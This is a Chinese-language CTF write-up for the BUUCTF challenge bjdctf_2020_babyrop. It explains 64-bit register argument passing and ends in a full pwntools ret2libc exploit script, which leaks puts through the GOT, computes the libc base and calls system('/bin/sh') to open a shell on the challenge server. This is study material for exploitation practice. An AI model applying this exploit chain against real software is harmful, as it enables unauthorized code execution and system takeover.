这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。

这两个题正好一样的题型但是略有差别。

bjdctf_2020_babyrop来自BUUCTF_寄存器

 

 

 这是主函数。

bjdctf_2020_babyrop来自BUUCTF_PWN_02

 

 

 bjdctf_2020_babyrop来自BUUCTF_PWN_03

 

 显然栈溢出在vulne函数中。我们需要往寄存器中传入参数 需要 pop rdi ret指令。(64位中第一参数保存在rdi寄存器中)

bjdctf_2020_babyrop来自BUUCTF_主函数_04

 

 

 用ROPgadget  --binary 文件名  --only  “pop|ret” 用这个命令来查找程序中的指令片段。

from pwn import*
from LibcSearcher import *

context.log_level='debug'
r=remote('node4.buuoj.cn',26360)
elf=ELF('./babyrop')

main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_ret=0x400733


payload1='a'*0x28+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

这里需要注意一下payload64位先往寄存器中传参顺序要注意!!!
r.recvuntil("Pull up your sword and tell me u story!")
r.sendline(payload1)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system = libc_base+libc.dump('system')
bins = libc_base+libc.dump('str_bin_sh')

payload2='A'*0x28+p64(pop_ret)+p64(bins)+p64(system)
r.recvuntil("Pull up your sword and tell me u story!")
r.sendline(payload2)
r.interactive()